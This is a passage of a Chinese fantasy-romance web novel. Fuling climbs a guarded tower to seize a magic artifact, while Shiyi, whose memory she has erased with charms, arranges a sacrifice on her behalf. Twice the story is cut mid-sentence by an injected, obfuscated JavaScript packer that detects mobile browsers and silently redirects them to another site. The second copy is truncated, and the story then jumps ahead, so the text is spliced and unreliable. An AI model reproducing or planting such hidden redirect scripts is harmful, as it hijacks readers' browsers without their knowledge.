进入深眠,他小心翼翼地拥着她,替她将略显凌乱的衣裳整理好,她睡着的样子静谧可爱,纤长的羽睫衬着晶莹透粉的脸颊,胭红的唇此刻微微上翘,在他怀里像是一只餍足的猫咪,让人想把这世间所有的美好都悉数奉上。 他凑近,在她眉心落下轻柔一吻,缓声念道:“凡人动心……” 茯凌第二天早晨醒来时,发现自己一个人躺在十一床榻上,懒懒地窝在他的被褥里,还下意识闻了下空气中清冽的冷香,那是十一身上惯有的气息。 昨晚发生的一切开始一幕幕倒退着浮现在茯凌脑海中,她在难捱中爬上了十一的床,她亲了他,他对她做了一些夫妻间才会做的事,但全程都十分克制,并没有对她作出实质性的占领,而是温柔地替她排解春娘吟带来的折磨和苦楚。他好像…… 茯凌脸颊又开始起热发烫,昨晚十一的反应再清晰不过,他明明想要她,她那时也愿意给,可他偏又只是浅尝辄止,是不想趁人之危吗?还是怕她事后生气? 可不管怎样,茯凌还是松了一口气,还好只是小打小闹,不然她以后攻略起相楚澜来肯定会有心理负担,像是对十一始乱终弃似的。 既然现在什么也没发生,那就是再画一张消忆符的事了,反正她只是在迫不得己的情况下夺走了十一的初吻,又没毁他清白,不用负责。 今天最重要的事是去八十一狱夺取永夜银河,茯凌赶紧从十一榻上爬起来,发现十一不在院中,采药的竹筐也不在,知道他肯定是大清早去山里帮她采草药了,想到自己准备再对他使用一张消忆符,茯凌多少觉得有些对不住十一,于是在前往八十一狱之前,她先去了一趟四方镇。 给他买个小礼物吧,就算答谢他昨晚的…呃…温柔服务……? 茯凌在镇子上足足转了两圈,最后在神族女老板的倾情推荐下买了一根白玉簪,据说这根白玉簪名曰芳华簪,乃大栎国浮夷太子所有,为了将这根芳华簪从皇宫里偷出来,神族女老板颇费了一番力气。本来茯凌不想买,毕竟是赃物,她不想给十一惹来麻烦。但神族女老板说了,这根芳华簪戴着对身体好,能养人,还能延年益寿,说就算不束在发冠上,放在枕头底下也是一样的。茯凌想想觉得有道理,于是大手一挥,花重金把簪子买了下来,她现在有钱! 拿上芳华簪,茯凌心满意足往回走,决定待会到家后先送簪子再画符咒,接着就去八十一狱。 昨天一番折腾,很多事情来不及细想,现在走在路上,茯凌心里就开始犯起嘀咕。 她在祟气谷被祟气妖灵攻击的时候,在危急关头曾被动触发体内金光,替她弹开了周围的祟气妖灵,那道金光是怎么回事?她从未修炼过这套招式,难道是系统的保护机制?但系统并没播报,似乎跟系统关系不大。会不会是百目金丹带来的效果?难不成在十一每天两滴心头血的喂养下,百目金丹真的升级了?不仅滋养灵力,还带护体功能? 还有,昨晚相楚澜明明封住了她的筋脉穴道,在他走后为何又蹿出一股气流冲开了他的封印?是意外还是人为?如果是人为的话,什么人会躲在暗处什么也不做,只为破开她体内的封印?目的又是什么?总不会是单纯想看她爬十一的床吧? 两件事茯凌都想不出明确答案,但她又不想为这两件事浪费锦囊妙计,于是决定暂时搁置一边。推开院门,发现十一已经采完药回来,正在院子里喂鸽子,因为已经打定主意要给他用消忆符,所以茯凌现在完全没有因为昨晚的事而感到尴尬,大大方方笑道:“十一,你看我给你买了什么!” 十一在她推门进来时就已经喂完了鸽子,此刻起身去洗干净手,擦干后才走向她:“你买了什么?” 他见她笑容明媚,完全没有避开他的意思,之前的担心稍稍放下去一些。 茯凌把芳华簪递给十一:“说是大栎国浮夷太子用过的簪子,老板娘花了好大功夫才从皇宫偷出来,你睡觉放枕头底下,对身体好,能延年益寿。” 十一接过那根唯有形似的簪子,温柔地笑道:“你是不是被人骗了?” 茯凌信心百倍:“那不会。你看这簪子,白玉无瑕,看着就贵。” 十一眸里含着氤氲笑意:“被骗了多少?” “都说没被骗了,老板娘就是因为偷了这根芳华簪才被大栎国追杀,迫不得已流亡到四方镇来。”茯凌伸出右手,竖起一根食指,“足足花了我一千金。” 29. 第29章 金神法象 她出手阔绰,看来他日后只有将真的芳华簪送予她,才能弥补她今日损失。 十一笑道:“你豪掷千金,想必这根簪子确是芳华簪无疑。” 茯凌道:“当然是芳华簪,我给钱的时候警告过老板娘,若是假的,我定拆她的店,扒她的皮,量她也不敢骗我!” 说完催促他道:“你快戴上,趁现在多戴几日,等回了京都就不能戴了,毕竟是赃物,以后得藏在枕头底下。” 十一唇角抿笑,将簪子递给她:“我戴不好,你帮我戴。” 茯凌看着可怜的十一,长这么大,一根簪子一个发饰都没买过,哪像相楚澜,每次出现都一身华裳贵饰,金堆玉砌,孔雀开屏。 她接过簪子,脚尖踮起,十一弯下腰身,方便她动作,她闻到他发丝清淡的香气,将白玉簪插进他墨色的发间:“好了。” 十一心中欣悦,直起腰身道:“今日取永夜银河,我同你一起。” 茯凌道:“不用,你又帮不上忙。” 十一往前靠了一步,离她极近,他垂下眸来,温柔细致地盯着她:“万一有用呢。” 他身上淡淡的冷香缠绕住她,茯凌想起昨晚的脸红心跳,连忙要往后退,十一胳膊从她腰后横过,没让她逃:“你躲什么?” 她被动贴上他单薄的身体,抬头对上他沉静眸色,认定他这是在蓄意勾引,茯凌耳根一热:“十一!” “嗯,”他凑近她,鼻尖几乎与她相触,唇也离她一线之间,“在呢。” 茯凌大气都不敢喘一下,生怕让他重温起昨晚的睡吻,他却得寸进尺,弯下腰,唇压了上来,茯凌只觉温热湿润的气息将她温柔地缠紧,愣神间,他已经含住她唇肉轻柔地吮吻起来,舌尖抵开她齿关伸入,缱绻地勾绕住她的,茯凌哪经历过这种,下意识就将双眼闭紧,在他一吻接近尾声之时,她伸出手啪一下敲在他后背,一鼓作气将他敲晕过去。 这小子吻起她来未免也太自然了些!难不成对她生了情根? 不是吧,昨晚亲亲抱抱蹭蹭而已,虽然确实亲密了些,但也不至于要发展成长期关系,别这么纯情啊,她没想过要对他负责! 茯凌木着一张脸接住晕过去的十一,他看着清瘦,实际重的很,好在她力气大。把十一放去桃花树下,让他上半身靠着桃花树树干,茯凌无奈地叹了一口气,接着赶紧画出一道消忆符,将符咒往十一身上丢去,清除他关于昨晚祭祀舞春娘吟的所有记忆。 希望十一醒来后能忘了他刚才对她的心思。 想到这儿,茯凌又画出一道消忆符,将十一刚才吻她的记忆也一并消除。 人族爱上神族是没有好结果的,林起月的生母就是个活生生的例子。希望十一不要自寻烦恼,否则她只能跟他一拍两散,不然他将来定要怨她。 茯凌画完符后盯着十一看了一会儿,微风吹落枝头桃花,一瓣粉白落到他身上,静静躺在银蓝色的衣袖上,她替他捡去身上掉落的桃花瓣,接着起身准备前往八十一狱,就让十一在桃花树下睡一会儿,谁让他不经她同意就亲她的,让他在外面吹会儿风清醒清醒。 因为系统已经将重塑神脉的所有细节都灌输进了她脑海里,所以茯凌知道修罗塔的具体方位,这次她时隔六年再次召唤出独角彩纹象,骑着它很快就找到修罗塔。要不说还是黑纹大妖厉害,不愧是仅次于银纹的等级,这一路从八十一狱领空飞过,竟没引起八十一狱的警戒和注意,顺顺当当就到达了修罗塔塔外。 茯凌催动灵力感受了一番,修罗塔本身妖气非常重,里面的妖怪应该数不胜数,而塔周方圆百里却没什么妖气,看来阎王殿纵樾对修罗塔的妖力很有信心,才没在周围布置妖怪把守。 将独角彩纹象收回妖符后,茯凌祭出一张利剑符,手持宝剑就雄赳赳气昂昂往塔内走去。 修罗塔一共分为二十七层,塔内绘有三十六天罡星宿和七十二地煞图纹,可以大幅增强塔内镇守妖兽的妖术,同时还能对外来的闯入者起到抑制修为的作用,一扬一抑间将闯塔难度拔高至地狱级别,因此数百年来无人敢闯修罗塔,即便塔内有人人垂涎的上古法器之一永夜银河。 茯凌从第一层开始,发现第一层没有妖兽把守,而是遍布各种机关,第二层第三层同样是机关,一直到第六层才开始出现红纹妖兽。听说阎王殿纵樾擅造机关,今日一见果不其然,若不是茯凌如今的修为在百目金丹和十一心头血的喂养下大幅增强,已恢复穿越前的一半水准,恐怕还真难以应付他设下的那些千奇百怪的机关埋伏。 第六层有了红纹妖兽的加入,闯塔难度陡增,茯凌用了比前几层更多的时间才闯上第七层,第七层同样是红纹妖兽加机关,只是妖兽的妖力比第六层更深厚,机关也更刁钻。但茯凌发现,她上到第七层后,第六层的红纹妖兽没有跟上来,于是猜测每一层的妖兽只会镇守自己的塔层,为了验证自己的猜想,茯凌留了个心眼,她拼力闯上第八层、第九层,一直到第十层都是这个规律。 因此茯凌心生一计,既然妖兽不会离开自己镇守的塔层,那事情就好办多了,她立马召唤出南荣,这次不再使用他的妖兽原形,而是让他以南荣的人形状态加入战斗,额上黑纹森然的白净少年刚从妖符里被放出来就冲茯凌大声吼道:“老子还以为你要我当一辈子的大象!这次终于舍得让我当回人了!” 茯凌笑道:“什么象不象人不人的?你是妖怪你忘了?” 南荣侧身躲过朝他攻来的一大波红纹妖兽:“你好端端来修罗塔找什么虐?四方镇不够你拆的?还有,你把我关那破符里关六年,今天倒是想起来要放我出来溜达了,哼!还不如不放!” 茯凌没理他,道:“帮我拖住这些妖兽!不要用全力,只躲不攻,保存实力,别死别伤!” 说完,趁南荣拖住大部分红纹妖兽的空隙,茯凌击败剩下的一小部分,迅速登上第十一层,刚上十一层就把留在第十层的南荣收回妖符,下一秒又将他放出,这样他就能随着她的移动从一层闪现到上一层,按照这个战术,他们可以以最小的代价迅速登上塔顶。 用这个方法一连登上好几层,被召唤来召唤去的南荣终于忍不住了,一边躲红纹妖怪,一边趁茯凌还没登上上一层前大声问道:“你到底来修罗塔干什么?找刺激吗?!” 茯凌哼道:“你这妖怪怎么没脑子?这智力怎么炼成黑纹大妖的?来修罗塔当然是为了抢永夜银河!” 南荣双目圆睁:“要死了!给你当妖骑,真是倒了八辈子血霉!你自己找死,为何拉我陪葬?!” 茯凌攻入上一层,将南荣收回妖符后又放出,一边打妖兽一边延迟回道:“注意你的态度和语气,别逼我扇你。” 南荣脸一红,忿道:“你们神族没一个好东西,都喜欢奴役我们!” 茯凌没反驳,把妖怪当坐骑,确实是一种奴役。嗯,妖族恨神族,是有道理的。她没再说要罚他之类的话,而是宽慰他道:“你放心,我死之前一定跟你解除主仆契,放你逃命去!” 南荣不领情:“你就是解了主仆契又如何?我闯了修罗塔,难道阎王殿会放过我?” 茯凌笑道:“当初是谁说根本没纵樾这个妖的?还说阎王殿是八十一狱瞎编乱造。自己说过的话才六年就忘了?” 南荣咬牙道:“我说的是有可能!万一阎王殿纵樾是真的呢?” 茯凌道:“那就去找你旧主子伞无仇,求他重新收留你!” 南荣一掌推开前面攻来的妖兽,恨道:”我们妖尊打不过怎么办?!” 茯凌喊道:“那你就隐姓埋名,亡命天涯!” 一人一妖一路打一路骂,总算来到第二十层,从第二十层开始,红纹妖兽变成了黑纹妖兽,虽然南荣作为黑纹大妖,按照常理来说,实力是要在这些黑纹妖兽之上的,可是修罗塔里的黑纹妖兽在塔壁天罡地煞图纹的加持下,妖力得到大幅度提升,而南荣的妖力则受到抑制,所以他们打起怪来比正常状态下费力不少。 还好茯凌的目的只是闯塔,而非击败塔内所有妖兽,靠着“南荣拖住妖兽,她奋力登塔后再把南荣召回放出”的战术,他们还是顺利到达了第二十五层。从二十五层开始,不再有一群黑纹妖兽朝他们发动攻击,镇守在二十五层的,是一头银纹虎妖。 只一头银纹虎妖,战力却比一群黑纹妖兽还要恐怖好几倍,即便有南荣在旁牵制,茯凌也难以脱身朝二十六层登去。系统说修罗塔有银纹妖兽镇守,她一直以为只有最顶层二十七层会有银纹妖兽,没想到第二十五层就遇到了,看来修罗塔比她想象中要难闯得多。 幸亏没把十一带来,不然就算她有隐秘之境,也保不住十一。 南荣在几番防御下,已经被银纹虎妖挠伤了左臂和右大腿,茯凌的脖子也被挠出一道浅浅的血痕,两人全都负了伤,可茯凌依旧没有找到从银纹虎妖爪下逃脱的机会,南荣见状劝道:“咱们逃吧!根本打不过!” “谁让你打败它了?只要牵制住他,找机会登上二十六层就行!” 南荣被银纹虎妖一掌拍在胸口,吐血道:“二十五层就已经这么厉害了,还有二十六二十七层,你就这么想死在这儿?这儿有你爹还是有你妈?” 茯凌不跟他废话,立马召唤出“化龙”,此前跟“化龙”交过手的南荣不屑道:“你这条妖龙也就额头上的银纹能唬唬人,你放它出来顶什么用?” “你懂个屁!”茯凌骂道。“化龙”的战斗力随她的修为而动,现在的她今非昔比,早就不是六年前在林府血宴礼上的那个她,“化龙”自然也不是当初那个“化龙”,如今它的能力水涨船高,恐怕连南荣这样的黑纹大妖都不是对手。此前之所以一直没放“化龙”出来是因为用不着,现在面对这只银纹虎妖,她必须放出“化龙”。 随着“化龙”电闪雷鸣霸气登场,宗政向离的气息瞬间萦绕在整个修罗塔第二十五层,作为妖怪老祖宗的影子,“化龙”竟在出场的瞬间就震慑住了银纹虎妖,于是趁着银纹虎妖愣神的机会,茯凌赶紧往第二十六层跑去,靠着南荣的牵制和“化龙”的震慑,茯凌顺利奔上第二十六层,随即就将南荣和“化龙”召唤回来,为了故技重施,茯凌只把南荣重新召唤了出来。 既然“化龙”能在登场的一刹那对银纹妖兽起到震慑作用,那她就在二十六层再导演一次,等她跟南荣打一半,就冷不丁召唤“化龙”出来,吓对方一跳! 南荣看穿了茯凌的想法,笑道:“你那条妖龙还是有点用的,起码长得凶,撑得起面子,震得住场子!” 镇守在第二十六层的是一只银纹火麒麟,在妖兽中,麒麟非常罕见,能修炼至银纹却不化人形的麒麟更是少之又少,这代表着这只银纹火麒麟对它的主人非常忠诚,忠诚到甘愿为兽,不生人智,不长二心。 南荣见到银纹火麒麟,后背就已经起了一层冷汗:“阎王殿纵樾究竟是有多恐怖,竟然能让银纹火麒麟乖乖待在塔里,就为了给他镇守法器……” 茯凌呵道:“你少在这儿长他人志气,灭自己威风!扰乱军心乃战前大忌!” 银纹火麒麟巨大厚实的前爪往地上一拍,瞬间一道火光就朝茯凌跟南荣冲来,南荣喊道:“妈的不知道第二十七层会是什么怪物!” 茯凌道:“想那么多干嘛?先上到第二十七层再说!” 一人一妖艰难地与银纹火麒麟缠斗在一起,茯凌本来打算晚一点放出“化龙”,现在看来再不放出“化龙”吓一吓对方,她跟南荣就要遭大殃了,第二十七层还有更厉害的等着他们,可不能在银纹火麒麟这儿受重伤。 这样想着,茯凌连忙召唤出“化龙”,旧计重演,趁银纹火麒麟被宗政向离气息震慑住的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14009426|131701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞬间,逃命似的狂奔上了第二十七层,接着立马将南荣和“化龙”召回,生怕晚一秒会让南荣和“化龙”遭遇危险。 第二十七层……茯凌环顾四周,竟什么妖兽都没看到,只在楼层正中央看到一个巨大的银光圆柱,光柱从地面直达塔顶,银光粼粼里,一条闪着点点星光的银色飘带如银河绚烂般漂浮在半空,是永夜银河。 永夜银河触手可及,茯凌心跳开始加速,难道镇守修罗塔的银纹妖兽只有第二十五层的银纹虎妖和第二十六层的银纹火麒麟?只要成功闯上第二十七层,就能拿走永夜银河? 原以为还有最后一场恶仗要打,没想到第二十七层根本没有银纹妖兽镇守,幸福来的太突然,茯凌连南荣和“化龙”都没召唤出来,嘴角已经咧到耳根,难怪系统说最适合她的上古法器是永夜银河,看来这条永夜银河注定要成为她的神脉。 茯凌上前要取永夜银河,可她刚触碰到守护永夜银河的光柱,就被一股强大的力量瞬间弹出去老远,茯凌被重重摔到远处的柱子上,她因为冲力而猛烈咳嗽起来,抬头看到眼前不知何时已经站了个扎双丫髻、穿大红肚兜、蓝裤子、光着脚丫的白白胖胖的小男孩儿。 小白胖子看起来六七岁的年纪,圆圆的脸上还有婴儿肥,但看他额头上的银白色妖纹,想必他怎么着也得有几百岁了,不然修不到银白妖级。 此刻小白胖子指着茯凌呵斥道:“你是谁?为何抢我家大尊的法器?可是大尊叫你来的?” 茯凌偷偷催动灵力,感受了一下小白胖子的修为,竟深厚似海,在塔内天罡地煞图纹的加持下令人心颤,茯凌迅速做出判断,若是在塔外,她加上南荣、“化龙”,兴许还能跟小白胖子刚一刚,可在修罗塔内,她毫无胜算。 既然武的不行,那就来文的。茯凌笑嘻嘻地对小白胖子道:“是呀是呀,我是大尊新收的丫鬟,大尊让我前来取永夜银河一用。” “胡说!”小白胖子怒道,“大尊说了,凡是声称奉他之命前来取永夜银河的都是骗子!往死里揍就行!” 茯凌:“?” 这小白胖子刚才是在套路她吗? 茯凌脸不红心不跳,语气真诚道:“我真是大尊派来的,大尊要娶亲,命我将永夜银河取回,他要送给新娘当聘礼。” 小白胖子道:“你休要骗我!大尊在外历练,十几年来未有音信,等我娶亲他都未必娶亲!你敢诽谤大尊,看我不打得你满地找牙!” 小白胖子手中瞬间多出一颗银白色的光球,朝准茯凌就扔了过来,茯凌不敢轻敌,发现这小白胖子不好忽悠后就立马召唤出南荣和“化龙”,这次“化龙”的震慑作用不再好使,因为这已经是修罗塔的最顶层,茯凌无法在“化龙”登场后、小白胖子反应过来前的极短时间内夺下永夜银河,因此小白胖子在被“化龙”唬完后,很快发现“化龙”根本没到银纹妖兽级别,于是发出跟南荣的同款嘲笑:“这条龙脑门上的银纹是用什么针法刺的?竟如此逼真!” “化龙”作为影子并没有情绪感受,也不知道什么是害怕,因此在明显处于劣势的状态下仍能威风凛凛张牙舞爪地朝小白胖子扑去,南荣见了不得不佩服,他一边被小白胖子打得狂吐血一边赞叹道:“这龙能处!有事他真上!” 说完发现自己跟“化龙”都负伤严重,而茯凌则旋来转去,一道符咒一道符咒地祭出,只是受了一些细微轻伤,几天就能自愈的那种,于是忍不住破口大骂道:“你们神族真他妈不要脸!我们两个妖怪都快被打成残废了,你竟然只是擦破了点儿皮!有事儿我们妖怪往上顶是吧?毁灭吧!” 茯凌骂道:“化龙就算了,你打架时能不能动点儿脑子?明知道他强,还老往上冲!边躲边打会不会?你这种自杀式打法,你不吐血谁吐血?” 南荣哼道:“我们妖怪血性!不像你们神族贪生怕死!” 茯凌反唇相讥:“对对对,你最血性,摊上事儿就想自爆的那种血性!” 小白胖子也加入骂战,疯狂扫射道:“一个碎嘴子,一个大骗子,外加一条虚张声势龙,就你们这种草台班子也敢抢永夜银河?太侮辱人了!都是垃圾!都给我死!” 小白胖子手里的银白色光球随着他的怒骂而越来越大,最后甚至膨胀到八、九尺高,他将巨大的银白色光球朝茯凌、南荣、化龙砸来,强烈的光照几乎刺得人睁不开眼睛,茯凌知道南荣和化龙伤势严重,绝对禁不起这一击,化龙倒还好,毕竟是影子,死不了,南荣可就难讲了,没办法,茯凌只好飞身挡去南荣面前,喊道:“一起扛!” 南荣立马将妖力集中于掌心,再一掌打上茯凌后背,助她一臂之力,茯凌将南荣传送过来的力量和自己体内的灵力一起汇于掌心,再双手瞬间打出去,直接硬扛银白色光球,一金黑一银白两道光正面碰撞,可金黑根本不是银白的对手,银白色光球势如破竹,劈开金黑光圈就直冲茯凌而来,她额角碎发在巨大的冲力下往后扬起,死亡几乎是一息之间的事,就在南荣、小白胖子都以为茯凌要命丧当场的时候,一道炫目的金色光圈突然从茯凌体内迸发而出,一举将猛击过来的银白色光球炸碎成千万个光点。 小白胖子不可思议地看着自己的大招竟然碎成了空气中无数弥漫开来的光点,华而不实地在四周飘来飘去,气得腮帮子一鼓。南荣则目瞪口呆地盯着茯凌身上还未完全消散的金色余晖,颤抖着结结巴巴道:“你……你竟然……” 茯凌也难以置信地低头看了眼自己四周的金色光辉,在祟气谷被祟气妖灵围攻、命悬一线时出现过一次,刚才被银白色光球攻击、差点命丧当场时又出现了一次,难道这道护体金光只有在她陷入绝境的紧要关头才会被触发?这金光到底是什么? 正当她疑惑不解时,南荣大声叫了出来:“你竟然会浮夷的金神法象!你跟浮夷到底什么关系?!” 30. 第30章 肉身献祭 金神法象?太子浮夷? 茯凌一头雾水地扭头看向南荣:“你说什么东西?” 南荣眼睛瞪得宛如铜铃那么大:“是浮夷的金神法象!错不了!我见过!就是金神法象!可金神法象是浮夷的内生武器,你怎么会金神法象?这不可能!” 小白胖子鼓着腮帮子哼道:“你们两个蠢材想合起伙来演戏骗我?这哪是什么金神法象?连法天象地都没有!你们装也装得像点样子!抄了个金神法象的外形就想来骗永夜银河,当我吃猪饲料长大的?!” “对!对!”南荣豁然开朗道,“我怎么给忘了!浮夷的金神法象除了金光离体,还有法天象地,刚才没看到浮夷的金身虚影连接天地,不是金神法象!” 茯凌越听越糊涂:“什么金神法象?什么法天象天?你们能不能说点我能听得懂的?” 小白胖子认定茯凌和南荣在一唱一和地演戏骗他,怒道:“敢抄大尊的金神法象,我现在就送你们上西天!” 说完,他仰天张开大嘴,银白色的光束从他口中被吐出,在空中极速形成一个新的银白色光球,周围巨大的妖力脉动竟震得南荣和化龙噗地吐血不止,茯凌见状赶紧将他俩召回,不知是不是因为刚才莫名其妙从她身体里迸发出来的护体金光,她此刻并没有像南荣、化龙那样口吐鲜血,可心头却也被小白胖子的强大妖力震得难受。 茯凌咬紧牙关,准备豪赌一把,凭这道意外被触发的护体金光硬扛小白胖子的光球暴击,只听小白胖子大喝一声:“骗子!受死吧!”说完,他将新凝出的银白色光球朝茯凌猛地砸来。 - 十一从桃花树下醒来时,恰好从竹林吹来一阵清风,风中带来清脆悦耳的叮叮之声,是那人耳朵上戴着的聻冥链会发出的声音,他循声望去,看到博涂雅出现在院子里。 博涂雅依旧是那副华丽繁复的异域装扮,此刻正垂眸对着桃花树下的十一微笑:“呦,我们阎王殿大人怎么坐在树下睡着了?你的神族小丫头呢?” 十一发现自己的记忆又出现前后衔接不上的空白地带,他微微皱起眉,完全想不起自己为何会睡在桃花树下,起身,目光幽冷地看向博涂雅:“你来干什么?” 博涂雅笑道:“当然是来讨赏。” 十一眸里闪过一丝疑惑:“讨赏?” 博涂雅道:“太子殿下怎么还不明白?昨晚若不是我暗中相助,冲开了小丫头的穴道,她怎么会……你又怎么会……你说,我是不是头功一件?该不该向你讨个彩头?” 十一眼里迷茫,蹙眉道:“什么意思?说清楚。” 博涂雅意外地看向他:“你……该不会全都不记得了吧?” 十一默然,片刻后,他眉眼愈发冷冽:“博涂雅,你是不是对她做了什么?” 博涂雅失笑:“你可别冤枉我。那丫头不知从哪儿看来一段我的祭祀舞,我感应到,便过来瞧瞧。来了才发现她看的是春娘吟。” “什么?”十一又惊又怒,“你给她看了春娘吟?” 博涂雅忙道:“这么一口大锅,我是不背啊!谁知道她从哪儿看来的?反正不是我给她看的。再说了,她若不看春娘吟,又怎么会有你们后来的春宵一刻值千金?” 十一闻言心头微震,他昨晚对她……所以她才消去了他的记忆? 可她为何找他,而不找相楚澜? 博涂雅刚才说冲开她的穴道……十一略加细想便全都明了,他眸光暗淡下去,说不清此刻的心情是松了一口气还是苦涩不是滋味。 博涂雅这时却添油加醋地笑道:“不过看样子人家姑娘是不打算对你负责,不然你也不会什么都不记得。真闹心呐,咱们阎王殿大人何曾受过这种窝囊气?” 说完又见十一头上新插着一根白玉簪,不怕死地继续调笑道:“人间自有温情在,起码人姑娘没白嫖。喏,”他指了下那根白玉簪,“还给了嫖资。”接着端详起那根簪子,道,“我看这簪子像是仿的你的法器芳华簪,赝品送正主,妙哉,妙哉!那姑娘,是个妙人儿!” 十一神色愠怒地看着他:“你那把破琵琶不想要了是吧?” 博涂雅立马赔笑道:“说归说,闹归闹,别拿法器开玩笑。仙玉琵琶好歹也是上古法器之一,你当初从我这儿抢……借走时,可是说过会归还的。” 十一目光幽暗冰冷:“我就是不还,你又能如何?” 博涂雅笑道:“别呀,欺负你的是她,又不是我。你别把气撒我头上。”他见眼下这种情况大概无利可图,又道:“我今天也是多余过来淌这趟混水。得,我先告辞,你拿那神族丫头没办法,别把我的仙玉琵琶卷进来。” 他说完就想开溜,可刚转过身就被十一喊住:“等等。” 博涂雅停下脚步,将身子重新转了回去:“太子殿下还有吩咐?” 十一眼睫微动:“帮我一个忙。” 博涂雅奇道:“这倒新鲜,你也有需要我帮忙的时候?” 十一淡声:“为我跳场祭祀舞。” 博涂雅愣了下,他见十一面色沉静如水,一时琢磨不透他的意思,故意笑话他道:“看来是阎王殿大人想要重温昨夜温柔乡。好说,一曲春娘吟而已,跳得,跳得。” 十一神情冷峻:“我要你跳的,是肉身献祭。” 博涂雅唇角笑容凝固住,他目光笔直地盯着十一,片刻后沉声问道:“为了那个神族姑娘?” 十一言简意赅地吐出一个“嗯”字。 博涂雅难得肃了颜色,缓声道:“就为了区区一介神族,你要把自己的凡人相献祭出去?那是神明一相。” 十一声音柔和且坚定:“我身居四相,送她一相又何妨?” 博涂雅皱眉道:“少了这一相,你以后就只是半神,为了一个红尘过路人,你要自降神格?值得么?” 十一笑了笑:“值不值得也是我跟她的事,你激动什么?” 博涂雅一怔,他讷讷地看着十一,片刻后挪开目光道:“就是好奇,为何偏偏是她。” 十一道:“选定了她,便就是她。” 博涂雅没说话,沉默片刻后道:“那丫头……运气不错。” 十一想到茯凌看春娘吟的事,虽被抹去了那段记忆,却仍因自己和她曾经有过的亲密而心头异样,轻声道:“我既占了她的便宜,必要有所回馈。” 博涂雅恢复了唇角含笑的戏谑模样,道:“一出手就是神明一相,你什么时候也来占占我的便宜?” 十一淡笑着讽道:“你有什么便宜值得我占?” 博涂雅摊开手无奈道:“也是。我的东西,你向来都是明抢,比如我的仙玉琵琶。” 十一担心茯凌在修罗塔的情况,不愿再跟博涂雅扯闲篇,道:“说了这么多,肉身献祭,你到底跳还是不跳?” “跳,当然跳。”博涂雅耸耸肩,“不过我不明白,你为何要急着为她肉身献祭。” 十一声音笃静:“十一不死,纵樾如何归位?纵樾不归位,她怎么拿得到她想要的东西?” 博涂雅又问:“想要归位,你以凡人相自戕就可以,这样你的凡人相还能继续保留,为何非要肉身献祭?” 十一语气轻松:“我原本确实打算自戕。可既然你来了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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竟然真的是金神法象……小白胖子仰头望着眼前的法天象地,惊讶得嘴巴张圆难以合拢,他开始怀疑自己是不是做错了事,难道这个神族少女真是奉大尊之命前来取永夜银河当聘礼的?而他竟然打晕了她? 啊啊啊啊啊啊啊!!!!!!!小白胖子急得在地上跳来跳去,又跑到晕过去的茯凌身边跳来跳去,怎么办怎么办??他打晕了大尊派来取永夜银河的使者!难怪大尊说他笨,他好像真的不聪明!明明使者都说了自己是奉命前来,他竟然没有相信!啊啊啊啊!!!!!! 小白胖子崩溃地蹲来茯凌身边,他伸出一根圆嘟嘟的手指戳了下茯凌的脸:“你醒醒!” 她没醒。 于是他又戳了她一下。 她竟然还不醒! 小白胖子拼手速般开始在茯凌脸颊戳戳戳戳戳:“你快醒醒!快醒醒!快醒醒!” “孽畜!”突然他听到一声熟悉的怒呵声,吓得赶紧把戳得正欢的手指藏了起来,他缩着脖子回头,看见他家大尊正一身杀气地站在他背后,他立马汪汪两声变回自己的兽形——一条浑身毛茸茸圆滚滚的小白狗,摇着尾巴就讨好似地来到纵樾脚边,撒娇般蹭了蹭他的靴子。 纵樾没理脚边的潦草小狗,他径直走到茯凌身边,弯腰将昏迷中的少女抱了起来,见她脸颊竟被戳得红了一片,他目光愠怒地扫了眼小白狗,小白立马心虚地叫了一声,接着就屁股一颠一颠地跑开了。 博涂雅下个瞬间出现在纵樾身边,他看了眼纵樾怀里陷入昏迷的少女,笑道:“你把神明一相给了她,不怕她招来嫉妒、成为众矢之的?” 纵樾眼睫低垂,温柔地看了眼不省人事的茯凌,接着目光淡漠冷厉地看向博涂雅道:“她若成为众矢之的,我第一个先杀你。” 31. 第31章 虚空一域 茯凌醒来时,发现自己躺在一片硕大的荷叶之上,四周是清澈明亮的湖水,湖岸有随风摇曳的绚丽花丛,草长莺飞,高山古树,不远处盛放着几簇红色妖诡的曼珠沙华。 这是哪儿?她为何会在这里?她不是应该在修罗塔么? 茯凌随即催动灵力,打算先离开湖面再说,可这时却发现体内灵力像是被封住似的,竟无论如何都调动不出,她皱起眉,忽而一束银白色光芒出现在她周围,轻柔地将她萦绕住,银光带着她缓慢地升至半空,离开了湖面,但似乎并没有放她下来的意思。 经过在修罗塔的几场恶斗,茯凌现在对银白色光芒有很高的警惕性,厉声喊道:“是谁?谁在用这道银光操控我?” “别怕。”不知从何处传来一道清悦温柔的男声,“我在帮你炼神明一相。” 茯凌听不懂对方在说什么,高声呵斥道:“你在哪儿?有种就出来!别躲在暗处鬼鬼祟祟!” 说完,缠绕在她身上的银白色光束飘动起来,轻柔地带她来到一颗古老遒劲的银杏树前,她这才发现银杏树横斜出来的枝桠上竟然坐着个红发红眸的妖族少年,看见他额间的银白色妖纹,茯凌瞬间警铃大作,目光顿时收紧。 可少年并未对她展露敌意,他红色的瞳孔在莹黄的银杏下被映出一微金黄的光芒,冲她无辜地笑道:“我没躲,一直都在这儿,是你睡着了没发现。” 茯凌怔怔打量起他。他穿一身绣有暗金咒纹的黑袍,腰间用金黑色的饰带收紧,外面罩一件赤色坠金锦袍,红发披散,以细长金链点缀其间,随意而精致,阳光映照下既有红的炫目,也有金的耀眼。 